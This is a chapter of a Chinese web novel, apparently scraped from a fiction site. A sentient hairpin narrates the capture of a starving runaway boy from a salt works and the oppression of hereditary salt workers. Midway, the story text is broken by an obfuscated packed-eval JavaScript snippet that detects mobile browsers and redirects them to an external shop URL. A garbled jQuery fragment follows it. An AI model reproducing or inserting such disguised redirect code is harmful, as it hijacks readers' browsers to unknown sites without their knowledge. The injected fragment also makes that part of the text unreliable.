文趣网 > 都市小说 > 关于发钗其实是外星U盘这件事 > 14. 第14章 灶户之殇(Y认真学习)
    江月出把人绑了回来,绳子勒得那叫一个紧,小贼的两只手腕已经泛紫。她把人往院子里一扔,对江若鱼说:“看好,别让他跑了。”然后去灶房倒了杯水,慢悠悠走出来。

    江若鱼搬了个小板凳坐在树下,肩膀上的伤还没好利索,绷带从衣领里露出一个角。她的眼神复杂——有好奇,还有一点点“我也想打但打不了”的眼馋。

    小贼被绑在院子中央的石榴树下,蜷成一团。

    少年,看着不过十二三岁,颧骨高高凸起,眼窝深陷,肤色蜡黄,瘦得像根竹竿。衣裳破得不成样子,袖口和下摆磨成了絮状,脚上一双草鞋已经磨穿了底,露出沾满泥和血痂的脚趾。少年手臂内侧,从手腕到肘弯,有一片暗红色的烙印痕迹——不是伤疤,是久浸盐水后留下的皮损。

    江若鱼不认识那种痕迹,我认得。

    少年低着头不说话,肩膀缩着,像一只被攥住脖子后就不敢动的野猫。他的目光落在自己脚尖上,那两只脚趾在草鞋外面不安地蜷缩,像是在找地方躲。

    江月出喝完水,把碗搁在石桌上,走到少年面前,居高临下:“摸钱袋子的时候,手挺快啊。”

    少年肩膀抖了一下,头埋得更低。

    “不说话?”江月出蹲下来,两根手指捏住少年的下巴,把他的脸抬起来。

    少年双眼睛浑浊、充血,眼白上全是红丝,但瞳孔里没有狡黠,没有油滑,只有一种被逼到绝路上的、木然的恐惧。

    江月出盯着少年看了两秒,松开手,站了起来:“盐场跑出来的?”

    少年猛地抬头,眼睛里闪过一丝惊惶,随即又低下去,死死咬住嘴唇,不肯出声。

    院子安静了一瞬,风从竹林那边吹过来,叶子沙沙作响。

    江若鱼跑回灶房端出一碗剩饭,上面搁了些咸菜。她把碗放在少年面前的泥地上,解开了对方的绳子,笑眯眯道:“嘿嘿,你真厉害,敢摸大师姐的屁股。”

    江月出板着脸敲了江若鱼一记,一声不发别过脸去。

    少年眼眶红了一圈,顾不上手腕上的勒痕,端起碗埋头扒饭,三口两口,噎得直翻白眼也不肯停。

    少年狼吞虎咽时,江若鱼在一旁小声问:“师姐,什么叫盐场跑出来的?”

    江月出叹了口气,慢慢开口:“这小子是灶户,盐场烧盐的。入了灶籍,世代不得脱身。”

    真是个更新知识库的好日子,我竖起并不存在的耳朵,进入学习模式。

    “不想烧盐都不行吗?”江若鱼问道。

    江月出摸摸江若鱼的头,苦笑道:“不能。跑的叫‘逃灶’,一旦被抓获,按郑律要‘杖一百,发回原籍,拘充原役’。有熬不住的灶户逃出来,没有路引,没有户籍,不敢走大路,只能在山里野地里藏着。饿了偷,渴了抢,被抓住了就是一顿毒打。”

    江若鱼捏捏拳头,扯着江月出的袖子,小声道:“师姐,别打他了。”

    江月出顿了顿,揽住江若鱼蹭蹭她的辫子,声音比风还轻:“傻丫头,你帮得了一个,帮得了所有么?”

    “阿爹说了,今日事今日办。明天遇着又再说嘛。”

    江月出摸出绣着云开月出图的荷包,递给江若鱼:“你说得对,小鱼儿。去吧,不过他不能留下来。”

    江月出又出门了,只留下江若鱼和那个将剩饭全部扫光的少年。

    “你叫什么名字?”

    许是觉得江若鱼不善拳脚,少年壮着胆子接话:“叫柱子。”

    “柱子,大师姐心善放你走,但我要你付出点代价。”江若鱼顿了顿,“我只出过一次门,懂的知识不多,你来给我讲讲。”

    情报的价值,实难估价。多谢大师姐仗义,我的数据库又更新了一笔。

    剑南州是产盐区,西部的盐边县有大盐场。盐场产出的盐,供给剑南州及江南州售卖。

    据柱子交代,原本灶户的日子还能过得下去——以前官府会拨给灶户草荡和制盐工具,还会发些工本银,虽然不多,但勉强能糊口。

    后来却渐渐不发了,日子原本就紧巴巴,这下更是雪上加霜。加之有灶户逃亡,留下的赋税便被强制摊派给在役灶户分担,如今盐户连额盐都交不上,更别提卖余盐了。

    柱子爹死后,他便跑了出来。

    “爹就是活活累死的——交不够盐,里甲天天来催,打了板子还要交。完不成朝廷的定额,就是死罪。”柱子哽咽着,可眼眶已经干涸,流不出泪来,“横竖是个死,跑出来还能多活几天。我去找青哥儿,总好过烂在盐场里。”

    江若鱼未必比我懂得多,此刻她唉声叹气,更多是出于同情:“青哥儿在哪里?我还有点零钱,给你凑点盘缠。”

    提到青哥儿,柱子激动起来,不由自主地挥舞着只裹着层皮的瘦弱手臂:“青哥儿水性好,在大川上做些营生。从前爹在青哥儿快饿死时给了他一碗饭,他叫我去跟着他一起干大事!”

    江若鱼似是一愣,随即笑了笑,把自己为数不多的零花钱一股脑儿全掏给了柱子,又翻出两套大师兄的旧衣,送他离开了竹林。

    望着柱子消瘦佝偻的背影消失在远处,江若鱼长长一叹,将我取下来在指尖摩挲:“小丫,你想出门吗?”

    我不想。但我微微闪了两下,表示:可如果我的主人需要,我愿意。

    “余伯伯的死也与盐有关系。小丫,你说盐只是一味佐料,为何能引来如此多的——糟糕事?”江若鱼望着竹林间斑驳的光影,幽幽道,“盐乃百味之首……可也许对柱子来说,却是苦的。”

    我的数据库里关于“盐”的词条又多了几行:百味之首,也许亦是万人之苦。

    我默默想,当盐作为本地生命赖以生存的物质被垄断时,或许不单意味着“资源稀缺性”这一显性特征,还暗含着李琭勤那句“此事关乎国本”——盐,也许就是郑朝这个国家的命脉,经济命脉之一。

    --------------------------------------

    江无错和江云开回来时已是深夜。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768379|209825||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    江若鱼悄悄从被窝里爬出来,将耳朵贴在墙根上偷听。

    二人这两日又去了一趟锦屏府,探得一重要消息:巡盐御史黄敏之大人到了,已介入审查王昭与余知秋殴斗一案。

    江若鱼有些惊诧,喃喃道:“还真有黄敏之这个人呀?”

    说实话我也有些吃惊——李琭勤竟胆大包天,假冒一位即将抵达锦屏府的正式官员,而非无中生有编造一个虚构身份。

    我由此推测,他李琭勤事先便知道黄敏之一定会来剑南州,但并非为了这件案子——毕竟此案的发生,具有一定偶然性。

    话说回来,巡盐御史又是什么官职?

    “师父,当务之急是赶赴余大人老家,将他的妻儿保护起来。”江云开沉吟道,“七星楼那帮人心狠手辣,损失了盐仓,必定如疯狗一般反扑。”

    “师父,我和云开去一趟云泽州,必定不会叫那些宵小得逞,伤及余大人亲眷。”江月出顿了顿,又咬牙切齿补充道,“这帮狗东西,仗着有顺亲王撑腰便肆意妄为,实在可恨!”

    “不可冲动行事。”江无错叹了口气,“我匆匆见了黄大人一面。他此次并非主审,而是因巡视盐务一事顺路经过。主审官还得等些时日才能抵达,估摸着是刑部的人。”

    “哼,收赎之罪,赔钱了事,天理难容。这帮狗东西,我定要让——”

    江月出话音未落,便被江无错打断:“哎呀,别冲动。总之先等等消息。若是朝廷能还知秋一个清白,自然最好;若不能,我们再想办法。云开说得对,眼下有两件事至关重要。你们听着——”

    江若鱼攥紧衣角,秀气的眉头微微蹙起。她没有继续偷听,垂头丧气地躺回床上,握着我辗转反侧。

    我只能用发热来安慰她:第一,黑恶势力的围剿与反扑,不是终止正义行为的理由——银河系没有“因为敌人太疯我就算了”的法律。第二,律法有它的脾气,但绕过它不等于赢了。

    大侠也要遵纪守法,非因恐惧,而是敬畏。

    想到这里,我忍不住调用了齐格留给我的那些“颜色资料”——不是为了看,而是为了确认一件事:在任何文明的法治体系里,绕过规则的人,最后都会被规则反噬。

    那些触手族求偶舞跳得再花哨,也不敢在禁止求偶的季节跳,因为会被抓,导致求偶失败。

    好吧,没什么可比性。

    我微微闪了闪光,贴着江若鱼柔软饱满的脸颊,等待着这个小丫头满心忧虑地沉入梦乡。

    过了两日,江云开和江月出便出发了。

    走之前,江若鱼拽着他们的衣角,极力表达自己也想帮忙的意愿,但他们彼此似乎都心知肚明,这不过是告别的特定程序罢了。

    又过了三日。

    离北山来了一位稀客——江无错的江湖好友,一个体毛茂密、身材魁梧的大汉。

    江若鱼很开心,上次见到这位阿律松叔叔还是六年前。那一次阿律松来探望江无错,用满脸大胡子把江若鱼的脸颊蹭得通红。